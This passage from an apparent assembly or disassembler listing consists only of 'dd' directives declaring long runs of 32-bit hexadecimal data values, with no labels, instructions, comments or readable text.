		dd 9F9E1300h, 5077920h,	3E501DA4h, 67164051h, 0C701226Ah
		dd 48CF40C9h, 819BF4A9h, 0DCF53A05h, 95AA35E8h,	4C972573h
		dd 0A6C45D81h, 7B1BE779h, 0C5FA0C63h, 0B9C26AF6h, 0AB5A0415h
		dd 55CE1A99h, 29908E46h, 0A5C8775Ah, 0F38813DAh, 3E4FCA5Ah
		dd 85DEBF52h, 76F8E9F5h, 89C061FEh, 873E70F2h, 0DE439BDFh
		dd 0E9604B5Fh, 0A8705EF5h, 0A2301605h, 7627FB68h, 6DD7C7BFh
		dd 1AC210B7h, 60725C48h, 27B01DCFh, 5FE0315Ch, 40A7E5E4h
		dd 0F72D68E4h, 4A17EE43h, 66CCC31Eh, 0C54379FFh, 2A5C8E1Fh
		dd 0D4B05B93h, 1310B30h, 6480FE21h, 0B53641F6h,	83463F0Fh
		dd 500B7EEh, 261D37C4h,	55AC60E9h, 23D8E181h, 0D95E5D63h
		dd 0DF06C2C1h, 75FB7569h, 5B893C7Eh, 30CEBEA2h,	0B932177Dh
		dd 9B475FA9h, 0CB214C2h, 9C5D7609h, 0C141C486h,	9938FE21h
		dd 68AD2CE9h, 8DDA53A5h, 7058F649h, 31735BE0h, 904FF28Bh
		dd 9851E0D5h, 0BAC4404Ah, 0A0489E0Fh, 8FBD452Ch, 680BF7F2h
		dd 425E6C2Bh, 2916FF69h, 76F0FA2Dh, 52556C0h, 852AE702h
		dd 0A2DF2DE9h, 0E8211E23h, 0FCC9E289h, 0D81D89AFh, 4B9FFBF6h
		dd 0A36A6C89h, 0BA736803h, 609B409Bh, 41F19F16h, 0FE1C5993h
		dd 682C5C52h, 341A02B9h, 0CD312557h, 48E9461h, 0C5358CFBh
		dd 740D6902h, 0E0895193h, 0A059CE50h, 1638E6D2h, 0E0194C2Ah
		dd 0B2275F01h, 29E1600Dh, 2D5E2DF0h, 682797FAh,	270AF26Bh
		dd 0ACB2E209h, 0F1D43748h, 0E0685380h, 1BC9307h, 0AA3D71BAh
		dd 0FCB12A5Bh, 3683D76Eh, 76901639h, 562760FDh,	4488025Fh
		dd 118982DCh, 0A00DAAF7h, 0C953B08h, 2285552h, 47A811D3h
		dd 480E3502h, 686831B7h, 9F99C566h, 397DD44Bh, 105EA92h
		dd 1F0A4C57h, 0D4D87B30h, 212340B1h, 0DA1C472Eh, 160C008h
		dd 91712CBDh, 1CE02F5Bh, 0F50C04F7h, 0F183E93Fh, 0D9F7435Dh
		dd 65E5A9C3h, 0C0E7823Fh, 4EC2415Ch, 1225557Ch,	0C2D9D459h
		dd 821031FCh, 2DA9B360h, 5188AED4h, 86E941B9h, 0D0FA7D6Eh
		dd 0A1B74F69h, 0AC935493h, 0B5BE9519h, 5EE439EBh, 532D0BBDh
		dd 5CD101FCh, 0F662C8ADh, 93DC7F5h, 76D98B2Ah, 774D5AA5h
		dd 16FE25D8h, 0E9138658h, 77A9DA3Dh, 6279A48h, 7BF896DAh
		dd 0E8F0A08Ah, 167AAE16h, 1D0F758h, 0E235055Ah,	0E946CCF4h
		dd 0DA0AF325h, 1D7754F1h, 943BE54h, 51FC7B30h, 846BE70Eh
		dd 298761C4h, 0C7953A78h, 405EC65Fh, 0C8BF0FA1h, 84B4168h
		dd 0D6B2898Ch, 0DCEF412Bh, 0F1310F77h, 1C57FF2h, 10759BEBh
		dd 533B8559h, 0A4B21C17h, 110FCA25h, 8962076Dh,	750CE22Fh
		dd 0E4F28B89h, 527F0176h, 0C89E0F7Ah, 3A1CAB69h, 0A4485D31h
		dd 6813D001h, 0D28C34E4h, 43B96748h, 0A4337250h, 5E6E1457h
		dd 0F8CB1322h, 0ECE9E1AEh, 0E84A246Ch, 35AFF458h, 0CB28AEB5h
		dd 91CE4B68h, 0AC1FE877h, 8E2CF01Fh, 1014CB4Ah,	54C8444Dh
		dd 0CCF159B7h, 0CA40CED7h, 84D64801h, 8EF15389h, 9316755Ah
		dd 2120E3AEh, 0EA589562h, 54FA012Dh, 0E4FD5AEFh, 2E459D0Eh
		dd 2942F128h, 0B5E9110h, 4C5FFB21h, 10451C48h, 26F82580h
		dd 0B8704197h, 94B162Ch, 1AFF566Ah, 684BA0FBh, 0EC8F5AE2h
		dd 9F79B759h, 5626F526h, 54AABD97h, 0A5012ACFh,	0E9497952h
		dd 0DB2CCB92h, 0CC10AAF8h, 4B928A4Bh, 0ED4A08F3h, 0BB53E061h
		dd 335F1FD2h, 1C3C865h,	0FBCB03BBh, 65E2B77h, 9324920Ch
		dd 79E29011h, 0C754A30h, 0B5167701h, 8F0BC140h,	2D925A24h
		dd 0C91AC25h, 7E741325h
		dd 2898E835h, 8E8108EDh, 0F9757FF8h, 0BF31032Dh, 24F54671h
		dd 6ADFDD3Ah, 4087ECF0h, 0BF0A5D8Fh, 8678A06Ch,	24CAF714h
		dd 222500FDh, 0DC535082h, 0FB496FAAh, 13B28198h, 7C69B3B4h
		dd 0E3CB123Fh, 0DBEC4BC1h, 0FECEFE84h, 0C3FC8B82h, 0BB551A43h
		dd 1C415D40h, 0BF62CD6h, 75EF221h, 0F6B2066Eh, 0FF4D20Eh
		dd 28616818h, 0F2D2E7CFh, 5DD9C0FDh, 17096D15h,	5243E9EFh
		dd 221CAF51h, 80058AFCh, 0D00884C1h, 260F25DCh,	0F46D12BDh
		dd 7116C9D5h, 2508301Eh, 5256099Bh, 0B689818h, 0C79E354Ch
		dd 0CF23C188h, 784A1759h, 0A9EED1DFh, 1A8B3C34h, 0F5AD1D72h
		dd 98B1DC60h, 0A29E6EF6h, 309FCC27h, 0EFB99542h, 2EDD5203h
		dd 5CCE884Bh, 0B9E96125h, 596B9680h, 74A2EB2h, 0A3B3B633h
		dd 144AEDADh, 7456415Eh, 4C66C082h, 338DA023h, 9465B858h
		dd 9E0D059Ch, 1E04AF65h, 42D5CFD8h, 70291409h, 1EF99FE5h
		dd 0ED53A313h, 83B41CABh, 0E4B6523Dh, 95580DEBh, 6AF04E9Ch
		dd 0AE5D2850h, 40C95BEDh, 7912EAAAh, 62B71303h,	6B467F88h
		dd 0FDFC48A2h, 0FD015F40h, 40B55DE9h, 18695524h, 43EE49F9h
		dd 9C809805h, 0ACACF709h, 0A1068FE0h, 0D5F7301Ah, 6BB48104h
		dd 14AFF249h, 0FA3ABE70h, 0C51B11Fh, 0C0F20675h, 82AC2629h
		dd 295E2246h, 3E96B21h,	0C300F33Dh, 0BE4BA94Eh,	0B19EDE01h
		dd 4A0D6850h, 0B884343Ah, 59CE84C7h, 0A95ADDCBh, 0C5688485h
		dd 38F392BFh, 14B7C5F0h, 0B3535E4Ch, 14F8962Ah,	2F469A6Bh
		dd 6077E92Dh, 2254020h,	2D0C4EA7h, 27416705h, 4174D809h
		dd 9CF466F0h, 557AF5F8h, 18231102h, 65C50125h, 0B0E9859Dh
		dd 0B1A7D091h, 837A62CCh, 5A92242Fh, 0ED112F21h, 44D98BBBh
		dd 0C5178184h, 3EE448EBh, 0A176C643h, 4B713767h, 0D9AB0247h
		dd 5B528A04h, 3FFC051Bh, 0A04EA019h, 68F24113h,	84143FDh
		dd 4A141CA0h, 0EC22345Bh, 2EE9A5AFh, 98648D85h,	12BC3455h
		dd 21B8C017h, 161C8A4Bh, 36625BDAh, 2034D296h, 4358B265h
		dd 19DC0E0Dh, 3EE856A6h, 0D79F7F59h, 9342FBC1h,	0EFEF97E9h
		dd 79E90954h, 405D04E2h, 7E1243Dh, 0F608E8C0h, 90D4F4D8h
		dd 58BBE66h, 0B9077EAh,	0B987BAB9h, 8806FA76h, 5F0B167Ah
		dd 2C35E832h, 5B9F46A5h, 0EFA9847Bh, 0CCB1CA84h, 9F74BC28h
		dd 82120FC5h, 0DEED86D0h, 22D13044h, 851F320Ch,	16013A58h
		dd 0D4ECA5EAh, 0E5E042C9h, 0E3B0F129h, 0E502DF41h, 201EF543h
		dd 8090E925h, 0EC8059F0h, 0B0C4E6FAh, 0C07B2007h, 12A85F4Eh
		dd 149BB3B4h, 44606856h, 0DF4EE98Ah, 0E2D17A81h, 0FA13826Ah
		dd 81ADF7A5h, 438B0228h, 0E4D5EB3Bh, 84449FC0h,	350703E0h
		dd 0DE73E40h, 50031013h, 0F3E9C4C1h, 0B902997Ch, 53E1416Eh
		dd 5DCDBC80h, 0B5A02787h, 82E7CDDh, 0F02D843Dh,	5E50A2Eh
		dd 89BB12A9h, 807E2EE9h, 1165EC81h, 8BD0B822h, 2933284Eh
		dd 0ED9C20FCh, 31C230ABh, 0DC27507Eh, 0EC0292F7h, 47EA2EB6h
		dd 8F40E904h, 6FD1FAE4h, 66884428h, 9A1782Fh, 2D40971Fh
		dd 688AA15Dh, 2C2C0BBDh, 9CBE6C4h, 4612295Ah, 0A1564EBCh
		dd 6A3D596Eh, 122DF7E6h, 0D7F73D40h, 0C52FE694h, 4F29C30h
		dd 0EA1120A8h, 0F157F684h, 0F64AE6CBh, 0BB5310CEh, 0EEE9DDC2h
		dd 293B1E70h, 16C399E8h, 3CE0F663h, 0C17B1604h,	0DE0A01EEh
		dd 2D8355E9h, 5B057776h, 29476817h, 8059EF1h, 5C1D99E1h
		dd 0F303C304h, 9C4D7C30h, 5B85B514h, 0B4F41221h, 0A290516Fh
		dd 0D4258E96h, 2F9669EAh, 0F1B8DBD6h, 0AC130DDAh, 2D1AD632h
		dd 2C1EE0EEh, 578EB519h, 8D01FA97h, 0C7885352h,	5009E02Bh
		dd 3DE9D19Dh, 22ADECBEh, 0F35775Bh, 0BAA24381h,	7107BE00h
		dd 2DDFB226h, 0E608243Eh, 5F53AC97h, 95294E52h,	6CCD023Fh
		dd 0D8642EEEh, 3F5B0881h, 0E91746F3h, 8DD9508Ch, 0EF8FE613h
		dd 288A2B31h, 0A042279Eh, 0A8EC5B5Ah, 3E6968A1h, 0D96BDBCDh
		dd 0C8446FEAh, 42A168E9h, 6B079638h, 7F3D594Dh,	0E1408EABh
		dd 0F02D685Ch, 10F2D34Ah, 2AE44180h, 3A405FCDh,	4BE609B0h
		dd 93A7B833h, 42193102h, 3F8F7F5Bh, 0A3A4F2Eh, 733C007Fh
		dd 954EF7E3h, 434C1EF0h, 0DAA0500h, 7DC0782Ch, 480F1CB9h
		dd 45055535h, 0EE75540Ch, 0E306F913h, 51A466Ah,	0DEA190E3h
		dd 0DA02D029h, 0B4E4DE9h, 5DE2B4ECh, 0E912204Ch, 78FFB5B4h
		dd 81EEE914h, 498804B4h, 0EBAD3C7Bh, 93BD9976h,	66EA9D4Bh
		dd 0DA97C0EEh, 43E91591h, 895BAA71h, 47EE92Bh, 8CEE0384h
		dd 36165ACDh, 27A0D833h, 0A1764BE9h, 0A6992ADAh, 0BEB7B330h
		dd 0A010B20Ah, 7995BC50h, 16776BBBh, 6E52076h, 129C8095h
		dd 4C29EE08h, 84341931h, 7ECBFB4Dh, 91AB0F13h, 9657028Fh
		dd 3E00F99Dh, 0AA49ACC1h, 9758BCC0h, 133EADEFh,	39AA575Dh
		dd 84B93CDFh, 10AAA36h,	366227E6h, 0EDFE10FAh, 14E8084Bh
		dd 0FB9FE3C5h, 0B753EFD8h, 5F2563ECh, 2D9FF3D3h, 0FC027676h
		dd 806D3B63h, 0B55978E3h, 7D72BD39h, 1C410883h,	5EA00B14h
		dd 0E9B11CBDh, 2EFC380Fh, 0F772B705h, 5C4C7A1Eh, 56C2274Ah
		dd 0C8DA4B5Bh, 5D0708B2h, 0E918BA0Eh, 0FBE476h,	80C7FE58h
		dd 0F988B4EFh, 0E1C05B0Fh, 0BBC92602h, 5006020Ch, 0C13086B0h
		dd 14890C76h, 897F64CEh, 63E5DDFh, 0A6131F86h, 3E102CA1h
		dd 49567781h, 8C51DE0Dh, 1D785767h, 0C5E4924Bh,	789AFE60h
		dd 500FC710h, 0DB970211h, 0AFE308B9h, 2DB25B13h, 12EA588Ah
		dd 0A531EBE0h, 0F33EF829h, 0C454B11h, 0A6406A9Fh, 0B8C6ACC7h
		dd 44629796h, 0E60B3173h, 9E9FA0Dh, 2BE12CB4h, 360E000h
		dd 0E9173563h, 199C7819h, 58C23029h, 35124028h,	0D6783B79h
		dd 5A08C650h, 0E503E918h, 1DB2F13Bh, 0BE4B667Dh, 33473806h
		dd 0B7170C17h, 0B9059748h, 17F4DD44h, 0C0EB008h, 5D6B600Bh
		dd 0CB00212h, 7A6FF220h, 87B9D83h, 2596142Fh, 8B09E0E9h
		dd 5160AFD1h, 4B431768h, 1031E96Ch, 0E05F91E3h,	5B1FD721h
		dd 7D09549Ch, 9E2EB4F6h, 9B605AF5h, 7BD76BA6h, 0F30FD9A8h
		dd 214F2CB2h, 9CC101CBh, 93C1BC5Fh, 0F588C0EAh,	46B35C53h
		dd 0CD81710h, 0D3131068h, 56874BDAh, 4A05E914h,	771E0EF0h
		dd 0D190052h, 6D1F5F72h, 78735105h, 41354607h, 0E9B14440h
		dd 0DF757D86h, 97905E2Bh, 39D4BDE8h, 55C34B59h,	9374E1F6h
		dd 0D8C36F81h, 7F4B333Dh, 8CEB0AC2h, 691C08h, 527FD03Ch
		dd 47C2CBAh, 4AEC6A5Ah,	0EB39E915h, 3AE13C50h, 7000315Eh
		dd 7217BD55h, 0EFA112D0h, 0B3D28006h, 0E91A9560h, 7BF860E7h
		dd 4D7067EDh, 0F5066176h, 46524CBAh, 0DA15026Ah, 0D5292EDFh
		dd 1739802h, 78147168h,	0A1CDCB25h, 4E0C1FBh, 8E85E42Bh
		dd 828C553Ah, 2C7BB30Dh, 0AB387F51h, 53C4BFDFh,	0CBAF32EDh
		dd 0C08B491Dh, 0B456B6BBh, 0E9430C41h, 0CBC5FDF6h, 537EF865h
		dd 0FAF39800h, 0B573FB0Eh, 65BF5BD0h, 0E969B08Bh, 0F3BF7DB5h
		dd 0BDFAC08h, 0BFA15A47h, 3A2CB151h, 0ACD4C6C3h, 0CE6DFE81h
		dd 8A545E02h, 154F3A0h,	3CB4298Bh, 88406EA8h, 9233ECADh
		dd 43B51274h, 50B90DC0h, 0D118935Eh, 0FE05A702h, 5AAF61C1h
		dd 0E25E9FD7h, 0FFCC881Eh, 0EE56D7C2h, 40359060h, 5C3E660h
		dd 0E91CDD06h, 37DF8E1h, 0F21734BDh, 0E29ED112h, 0E8C3E381h
		dd 2F503F77h, 5E9C852Ch, 7AEEF6CCh, 4E5C5149h, 0D9CDF400h
		dd 0F0589C31h, 9E290D5h, 729233A7h, 0DC201FD8h,	52053DB1h
		dd 0EE6EC016h, 5A60D971h
		dd 38F036Fh, 0D393DA31h, 20E9080Bh, 6390DF7Ch, 5A4E1389h
		dd 6A8454F8h, 0A1AAA881h, 4E03F5FAh, 6C70CBB1h,	0AA5B89F8h
		dd 1D0219D6h, 4343DC06h, 0E150B813h, 0FAB09010h, 53FD2556h
		dd 554475FBh, 0F266F3C2h, 26010085h, 0D8F7409Bh, 0D912FB2Dh
		dd 20EEBF64h, 0D417916Dh, 5BB0E4Ch, 6920263Dh, 0A43C14ACh
		dd 0DD0730C0h, 54F5805Bh, 0FD2BED32h, 0BE8BD985h, 0D46BFD29h
		dd 9D79AFCAh, 0E9568C6Ah, 0D86C9129h, 82DA5427h, 5BA750BAh
		dd 0D9E5C0D5h, 8BD1DDC1h, 80E60690h, 566B4D94h,	6D6861A2h
		dd 87638829h, 0F40912DCh, 1B169944h, 50E019B6h,	0D24B0BEEh
		dd 21F0B9A9h, 65355F05h, 0BA10F329h, 1BA84E08h,	0EC9EFBE4h
		dd 349F1917h, 7C801DFh,	30367F34h, 81806324h, 7BB10ECAh
		dd 0F2CF3017h, 0BE2B7F4Eh, 60BFE6D0h, 80E60519h, 0E690EF83h
		dd 3DF1AF30h, 261F72EBh, 0B9C22E7Ch, 2D680850h,	0AD513666h
		dd 47410287h, 6EE78120h, 72CC612Ch, 0C15B2FCFh,	273D703Ch
		dd 0E5B52913h, 6337C600h, 2DE91958h, 0C318A5C0h, 0F9B77492h
		dd 0E8FBE47Dh, 13DE58E8h, 67FA9975h, 0AAAAA47Fh, 0E72D80E3h
		dd 8E29BC8h, 88254A79h,	0C1784E04h, 122D7D90h, 38FA3054h
		dd 0E9F0E2EAh, 0B4840D24h, 81CB9F58h, 0D8CD2B64h, 55E9813Bh
		dd 0E8310289h, 17E0E37Dh, 1C418326h, 0D80E1F78h, 0D4287FBFh
		dd 32DE2940h, 6E403A24h, 0B8124BD4h, 0A855AAB9h, 0B95A32A5h
		dd 0E805D4Ah, 5F18E338h, 5026D829h, 3EAB6800h, 1BE97593h
		dd 157091D9h, 0B84E8ED2h, 0B3523929h, 0C4D30CFAh, 5AFB98BEh
		dd 2F680FC2h, 0F324FE7Eh, 8491ADB4h, 0CEFE7B86h, 82625ABEh
		dd 5E6A40Ah, 0B6B8BAFh,	594E2368h, 0D3E961D8h, 0F5652BA3h
		dd 0D8B704EBh, 892ABDEEh, 0A5D5F6C5h, 0D526C478h, 29134B55h
		dd 170564EBh, 4B67EC0Ch, 13049DA5h, 49D18657h, 4B3EDD6Ah
		dd 3BE3165Eh, 91F365DFh, 5B478CDDh, 0FE552D99h,	135DEBBAh
		dd 0FF95E5E9h, 88B2CD00h, 3F80DAF6h, 0B312E0F2h, 5A07E401h
		dd 0C400F995h, 0BD310E4Fh, 0F6E283C9h, 22D4490Fh, 1BB6288h
		dd 6C1D63BFh, 843808h, 9A213CC7h, 0BFF98969h, 0E9189146h
		dd 0BD7A0C7Ah, 0DE331746h, 289D010Bh, 20183774h, 1D132998h
		dd 0B1102AA8h, 0EC7C2DBAh, 0B6092A8Ch, 10DC208Eh, 0C04B17F4h
		dd 42BDBD25h, 4729E869h, 0A63901F6h, 7B021DCFh,	0DD37C361h
		dd 6B961896h, 54FD64AFh, 556856Eh, 0B4473268h, 92E6F25Bh
		dd 9C05BEA9h, 8013566Eh, 0B830522Ch, 26F4334Bh,	5F1C02EEh
		dd 0F029A6FCh, 0A7E95220h, 0C6BFC060h, 61354868h, 394EA4E8h
		dd 0CF5B3EB3h, 2D7D5821h, 0C4C359E5h, 0F614C050h, 11604A59h
		dd 733DC6A5h, 897F15D1h, 0D2DE65F0h, 42B72CC2h,	38D2F724h
		dd 9A107601h, 7960211Ch, 449E5AF3h, 12CC017Bh, 0FC8E0F09h
		dd 0F2792FAAh, 97F68E1h, 8750C667h, 0AAD799D7h,	5B918092h
		dd 0C13180E2h, 57404790h, 4FCE7E28h, 0BA3C1626h, 0C07C9A18h
		dd 27DD937Bh, 5F09ACFBh, 0C70A2559h, 1EAB82EAh,	51F83BF0h
		dd 0C40D684Ch, 0FE136C34h, 0A2069C44h, 575AE0CAh, 0C429FF88h
		dd 887F91E9h, 3D20EAF1h, 79C3EC30h, 9FEB3EBCh, 127CF33Fh
		dd 0B515BDCh, 197519D5h, 0CCF95A1Bh, 3868C986h,	0F62C5D59h
		dd 7D4B3D01h, 8F69F9AFh, 14BA8240h, 0F014E1Eh, 4852C889h
		dd 0C59B8F92h, 0FF5E55EBh, 8BB4FEC7h, 0F009E6D1h, 39B05ECh
		dd 0C17A4510h, 0C2C006E8h, 0FC5E36F5h, 0CA119B85h, 172C16DDh
		dd 14656B08h, 292CA889h, 8F660C55h, 4D4ED0A6h, 1D2450D9h
		dd 0F600FB5Ah, 0CB51FED3h, 0C3A8E386h, 497CB450h, 1C8507B7h
		dd 40A2CCD2h, 0B389402Fh, 0F7611C7h, 43CD814Dh,	6C6B0Ah
		dd 3977C50Eh, 0DBE9C2B1h, 7B83606Dh, 31FADCEBh,	2BD1B3CFh
		dd 0C1C7B7D3h, 0F37A7581h, 4334C22h, 4F2B4EB5h,	0CF4FD0EBh
		dd 6E343B78h, 0FC801214h, 1C0848F7h, 0B489FE98h, 0C813BBA3h
		dd 3EECF4C5h, 9DFBABB1h, 848B401Ch, 9A0310E2h, 268E255Fh
		dd 327F3EC2h, 50FD5EB3h, 225EB268h, 0A8E434E2h,	0B9E9C5E4h
		dd 8F5B0ED2h, 789E4526h, 2A3136FEh, 790929BDh, 569DEC48h
		dd 0EEE95409h, 403EFC4Ch, 815A233Fh, 5F65ED06h,	1C27CA1h
		dd 6F1966DCh, 3BE39BE9h, 0C2D5D097h, 968921FAh,	0C55D960Bh
		dd 184EB5F0h, 423E2369h, 0EE2C0F4Ah, 0EA071735h, 0C2CF051h
		dd 3D32052Ah, 0F0FCE97Eh, 2D045F0Fh, 3D15AFDh, 0B5E7F82h
		dd 93AEA7F5h, 0EA6B4C53h, 0B1AFF78Dh, 0CFFE9FC3h, 0EFD0C790h
		dd 83ED0F3h, 12E9F909h,	44455BFh, 72642827h, 0B4BA1E70h
		dd 9CABC85h, 68823024h,	0A2098768h, 0F7018E7Eh,	0D42C7065h
		dd 0E4C23309h, 7B5679A1h, 3BEB9758h, 2A0F1845h,	0AAB590E2h
		dd 9C2CEA81h, 0A2FFF8C1h, 0F33B615Bh, 24B9069Ch, 0C0439EB5h
		dd 0E4C0FFECh, 955AE908h, 8BAF3912h, 0F6814129h, 6D2A98FDh
		dd 0D820954Dh, 77C0F381h, 5F0AC325h, 0DC60E180h, 0D2B764A8h
		dd 0D635E970h, 854FDEBEh, 52B7826Eh, 0ADDDDC61h, 1664F469h
		dd 0A8F4530Dh, 0EA890B48h, 6DBD905Dh, 60585C07h, 84105435h
		dd 20A56B4h, 5A5B08B4h,	51805745h, 757874B9h, 1C9F81Bh
		dd 168038Dh, 3FFEF1E9h,	0F36B8BDDh, 26AF058Bh, 0CBF34751h
		dd 0B1B85000h, 250E2861h, 9B00AD7Fh, 4DFB0535h,	5EF709A9h
		dd 0F075C7D8h, 2740524Bh, 64EF3501h, 0C5314711h, 6850F452h
		dd 0ED3668D1h, 673A326Fh, 0F201A42Ah, 39360291h, 1E32803Eh
		dd 7097143Ah, 6B57051Fh, 0B85D58A4h, 4CC5C0A6h,	29F0311Bh
		dd 2D5DE989h, 7B0557C1h, 0D6852494h, 89FB04AEh,	0F638FDE5h
		dd 0D6A29745h, 0AD603E9h, 5AA3B801h, 2373072Fh,	7669277Fh
		dd 12C11E5Ah, 0C1283AB0h, 2241D7Bh, 0FC16E9F8h,	41A8BA57h
		dd 830469A0h, 455F4A97h, 952585E8h, 14C3D5E8h, 2001A520h
		dd 0F380F0D8h, 50013F17h, 12E1816Ch, 1F309910h,	0EE1676F1h
		dd 0CE012E2Ch, 537C5A4Ch, 4A09B25Ah, 0D0477F83h, 0C2CE692Fh
		dd 3734DE23h, 692CBAD9h, 0C2A5BE5Dh, 24E5E1F7h,	0B80341A6h
		dd 0E068B70Eh, 3B5187EFh, 58584FC4h, 135B6E0Ch,	0D339E80Ch
		dd 93553DB1h, 6788EBB8h, 80290AB3h, 3F9FB5E3h, 0B6F145AFh
		dd 40A9E449h, 0CA0481DCh, 0A110B4Ah, 5D613787h,	8C6C41FBh
		dd 0CF895709h, 0BF2690D7h, 0B0111E52h, 0F2D48B4Eh, 5160B91Ah
		dd 788B2746h, 0DD80E18Eh, 0E9D8215Bh, 4DBFB56Ch, 807A476h
		dd 51169A88h, 0FAD1AC04h, 5A7A0BE2h, 0B90DB857h, 7E9D02CEh
		dd 0C60B3BD2h, 0A0077A62h, 6E1BE5Fh, 1182574h, 0D64F9BD8h
		dd 86D659ECh, 0DA0B389Bh, 5608BB2Eh, 40812869h,	97A5982h
		dd 26535837h, 98A2447Eh, 9A58C1ABh, 0CCA22BE8h,	78FC5C27h
		dd 78F3142h, 41A96548h,	62EEBACFh, 3DAA416Fh, 12879A5h
		dd 0A4E7B499h, 0DEF4EB31h, 53D7BE8Dh, 50AD9E1h,	5D9A1F01h
		dd 577179C6h, 659FAC9Dh, 0F750189Ch, 3C985AD1h,	0E03FD741h
		dd 6279BBABh, 5AFCD24Eh, 0BB56E873h, 13FBCB35h,	6C185DA5h
		dd 5781EA53h, 0C3A31347h, 0C2950149h, 423D6E01h, 53C47E29h
		dd 7D1C081Ah, 3B59B4C9h, 21EF6034h, 48976Dh, 3D1A08BFh
		dd 0F9191593h, 0D84314A1h, 0CC94B6Fh, 0BDC93056h, 7F6E0B29h
		dd 87E0551Dh, 411A7515h, 2D85E25h, 0D013E907h, 62F1B594h
		dd 746BE76Dh, 917CC1ECh, 0C4BE04C2h, 0DAF3AB35h, 525FFA08h
		dd 0C21C5F6Bh, 2BE927h,	0F7F28772h, 0CB08DEDEh,	0C91BAF43h
		dd 35855A05h, 0B8FC2E3Ch
		dd 6DC9E90Bh, 6E6DBA2Dh, 573D3CD2h, 67571A4Ah, 0C054AD55h
		dd 0A47EAC2h, 2F993807h, 96DD38F0h, 6C8A734Ah, 178CF31Bh
		dd 3E5E01B0h, 129393Eh,	54CBBA52h, 0E2F834E4h, 0B91D1FE3h
		dd 0B5765D68h, 2959A1E3h, 0A52D7DAEh, 67A0FE9Bh, 0F859A430h
		dd 40282755h, 0CE801Bh,	5EB15156h, 0D9F6C9FEh, 0E29808D6h
		dd 0A2FC5ABAh, 0E6771333h, 67A99435h, 7C270993h, 4ED0DEB2h
		dd 447F8C09h, 64378051h, 0C116580Bh, 10F0560Ch,	11102E0Dh
		dd 595C0493h, 0A2843A92h, 2DA90AFAh, 46853A0Ah,	9974AD7Bh
		dd 87E20CBh, 568F3202h,	7EF562E9h, 10F8CAF1h, 285B00FAh
		dd 50EE80E6h, 0F0302458h, 535117DBh, 0E63DBEE0h, 0D4A8C03Eh
		dd 4612874Bh, 0F4A110E9h, 6067243Ah, 722DE982h,	223020C9h
		dd 5D46E802h, 0C07053Bh, 6B3A05C2h, 1A12F2CFh, 418A49A0h
		dd 0A3E13E55h, 0B15E5B93h, 0C6633DA5h, 901A3022h, 5B790271h
		dd 56E93D15h, 0ED89CBD5h, 0FED366FCh, 0A2604E74h, 0B46768E9h
		dd 635F4907h, 7017E245h, 0CE86613Bh, 2E5E4768h,	6B98D27h
		dd 5A4001C1h, 77A2B26Bh, 0B62AFD09h, 79E55A16h,	0C5E91587h
		dd 324AC5DBh, 0F56330D2h, 3B5D5FBAh, 570D4B71h,	0E099AC0Eh
		dd 0D754B2E9h, 7FD1CB3Ah, 1C1C7483h, 0FD2A3C6Ah, 0E2977B17h
		dd 4F144820h, 4CA2CB17h, 84AF929Fh, 0DFC2FDD8h,	916DE549h
		dd 0C82E05F8h, 0C167F886h, 0DC74C819h, 0B5568B0h, 0C9466F68h
		dd 6C456386h, 470A800Bh, 4D0E5F32h, 0A481500Ah,	0D001093Ah
		dd 2C092B8h, 8E5C59A1h,	0D7315B97h, 8B4B86B7h, 0EB331A58h
		dd 0C3DD689h, 0E1D9BDE2h, 0DE27C0BCh, 65FB3EF6h, 0EEFBC1A5h
		dd 9BD74F5Fh, 91C0C8ECh, 0B8234955h, 0BBE3B60Bh, 58327EDCh
		dd 0E28366CFh, 0EB874852h, 7C4DBD88h, 6B1FFBA7h, 2CE45576h
		dd 51AC98BBh, 13F44595h, 0ED0BBC59h, 0C261BB20h, 2FD5689Eh
		dd 8CC59DA2h, 0F1208306h, 0E06945F1h, 3D703F25h, 56005C8Dh
		dd 5819B2BEh, 80A4C062h, 9136EF40h, 80D0F739h, 0B1EDF181h
		dd 5A29B403h, 2DE9F8CEh, 4A0AC680h, 1B13EFEBh, 2D165801h
		dd 42310B21h, 17375E80h, 60E93374h, 0E8275DB4h,	96AA5DDAh
		dd 947D4951h, 0F9E95AECh, 0F5007FAAh, 63358BADh, 5C5DEF29h
		dd 2249E889h, 0DB9BB81h, 0ED266153h, 0F6800095h, 0B0C6E669h
		dd 0CCC72C48h, 3EE1536Ch, 69CC2E70h, 6B650419h,	42DE0111h
		dd 6A5C99E9h, 0BE48F37Dh, 475F2D7Fh, 7D5A2C66h,	1AE9E625h
		dd 7E91AC5Bh, 66780326h, 6956626Fh, 8D057E2Fh, 5F1E44B9h
		dd 0CCA4905h, 3108E99Ch, 8E649D5Ch, 31E83139h, 545108C5h
		dd 0C93DF26Ah, 0A8C3D955h, 97E3B01Ch, 0C1127D54h, 646E8AAEh
		dd 2DEE02E8h, 0A3A9605Ch, 55423A14h, 6CE90A9Bh,	0F750B5C2h
		dd 20C3B0D5h, 6815FD86h, 28604Ch, 5376B850h, 0EBB2575h
		dd 10D2313Ch, 9258C365h, 4A0029B9h, 0BD35A762h,	35A082CCh
		dd 0C5095ECBh, 80F1891Eh, 7384E9B5h, 0BC1F4B30h, 555614DDh
		dd 29602FCFh, 0F35B8118h, 0B0EF073Ah, 5A14EFh, 2D58336Eh
		dd 9BD4F74h, 0C19D00B8h, 7DEC7295h, 0DF9269E9h,	0A5A0DBCFh
		dd 0EE733309h, 0F0CDF17h, 7418C712h, 7B0C579Bh,	169D2D1Ah
		dd 3E87BA61h, 10BBEE62h, 80804314h, 0F2D173E1h,	4087EDDDh
		dd 2ACB8853h, 799408BBh, 81EC6613h, 542F910h, 57FA6859h
		dd 95C065ECh, 2D04D9B3h, 562C25E0h, 514BC5Ch, 0E7F84E07h
		dd 0C0799AD0h, 0DBB2C6F3h, 0FBF5F83h, 71E320B5h, 1227A070h
		dd 0A6BCC2E9h, 195B7ADBh, 0AEBFAC80h, 549F0550h, 0A45FFB89h
		dd 0A3047E32h, 0DF01C699h, 0F3D4B888h, 8910BE01h, 75F32149h
		dd 75B433B3h, 771E1382h, 39C2B6B2h, 0DB2DA1D4h,	0E23F267Ch
		dd 0EF0ACA60h, 5F345000h, 2DD72D06h, 45686154h,	0B59AF7E9h
		dd 0DAA0079Dh, 89EACA71h, 7D474D24h, 0C8F69524h, 543F2653h
		dd 0B8C2433Eh, 6AFBF8D9h, 574468D0h, 7F3C5062h,	0B559693Eh
		dd 0E3874B74h, 0F7FB390Ch, 30080381h, 0E7F5DA18h, 5A512595h
		dd 0D5FA0142h, 0EC20D0ECh, 6B5F9041h, 8BC10DE6h, 603AFC50h
